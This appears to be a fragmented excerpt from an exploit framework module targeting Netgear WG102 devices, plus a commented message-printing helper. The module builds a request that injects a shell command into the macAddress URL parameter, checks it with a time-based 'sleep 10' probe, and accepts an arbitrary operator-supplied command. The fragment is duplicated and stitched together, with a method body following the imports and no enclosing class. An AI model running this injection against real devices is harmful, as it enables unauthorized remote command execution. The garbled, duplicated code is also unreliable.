# Path: interface/messages.py
# def print_error(*args, **kwargs):
#     print(Color.RED + Color.BOLD + "[-]" + Color.ENDC, *args, **kwargs)
# 
# def print_success(*args, **kwargs):
#     print(Color.GREEN + Color.BOLD + "[+]" + Color.ENDC, *args, **kwargs)
# 
# def print_help(*args, **kwargs):
#     print(Color.PURPLE + Color.BOLD + "[?]" + Color.ENDC, *args, **kwargs)
# 
# def print_info(*args, **kwargs):
#     print(Color.BLUE + Color.BOLD + "[*]" + Color.ENDC, *args, **kwargs)
# 
# def print_warning(*args, **kwargs):
#     print(Color.YELLOW + Color.BOLD + "[!]" + Color.ENDC, *args, **kwargs)


import core.Exploit
import core.io
import requests
import interface.utils
import datetime
from interface.messages import print_error, print_success, print_help, print_info, \
    print_warning
        args = e.split(' ')
        try:
            if args[0] == "host":
                if interface.utils.validate_ipv4(args[1]):
                    self.host = args[1]
                else:
                    print_error("please provide valid IPv4 address")
            elif args[0] == "port":
                if str.isdigit(args[1]):
                    self.port = args[1]
                else:
                    print_error("port value must be integer")
            elif args[0] == "command":
                self.command = ' '.join(args[1:])
        except IndexError:
            print_error("please specify value for variable")

    def do_command(self, e):
        print_info(self.command)

    def help_command(self):
        print_help("Prints current value of command")

    def do_run(self, e):
        file = ""
        for file in self.files:
            print_info("Testing file: " + file)
            url = "http://%s:%s/%s?writeData=true&reginfo=0&macAddress= 001122334455 -c 0 ;" \
                  "%s; echo #" % (self.host, self.port, file, "sleep 10")
            try:

# Path: interface/messages.py
# def print_error(*args, **kwargs):
#     print(Color.RED + Color.BOLD + "[-]" + Color.ENDC, *args, **kwargs)
# 
# def print_success(*args, **kwargs):
#     print(Color.GREEN + Color.BOLD + "[+]" + Color.ENDC, *args, **kwargs)
# 
# def print_help(*args, **kwargs):
#     print(Color.PURPLE + Color.BOLD + "[?]" + Color.ENDC, *args, **kwargs)
# 
# def print_info(*args, **kwargs):
#     print(Color.BLUE + Color.BOLD + "[*]" + Color.ENDC, *args, **kwargs)
# 
# def print_warning(*args, **kwargs):
#     print(Color.YELLOW + Color.BOLD + "[!]" + Color.ENDC, *args, **kwargs)


# Path: modules/exploits/netgear/wg102_exec.py
import core.Exploit
import core.io
import requests
import interface.utils
import datetime
from interface.messages import print_error, print_success, print_help, print_info, \
    print_warning

        args = e.split(' ')
        try:
            if args[0] == "host":
                if interface.utils.validate_ipv4(args[1]):
                    self.host = args[1]
                else:
                    print_error("please provide valid IPv4 address")
            elif args[0] == "port":
                if str.isdigit(args[1]):
                    self.port = args[1]
                else:
                    print_error("port value must be integer")
            elif args[0] == "command":
                self.command = ' '.join(args[1:])
        except IndexError:
            print_error("please specify value for variable")

    def do_command(self, e):
        print_info(self.command)

    def help_command(self):
        print_help("Prints current value of command")

    def do_run(self, e):
        file = ""
        for file in self.files:
            print_info("Testing file: " + file)
            url = "http://%s:%s/%s?writeData=true&reginfo=0&macAddress= 001122334455 -c 0 ;" \
                  "%s; echo #" % (self.host, self.port, file, "sleep 10")
            try:

                print_info("Doing timebased check with sleep 10")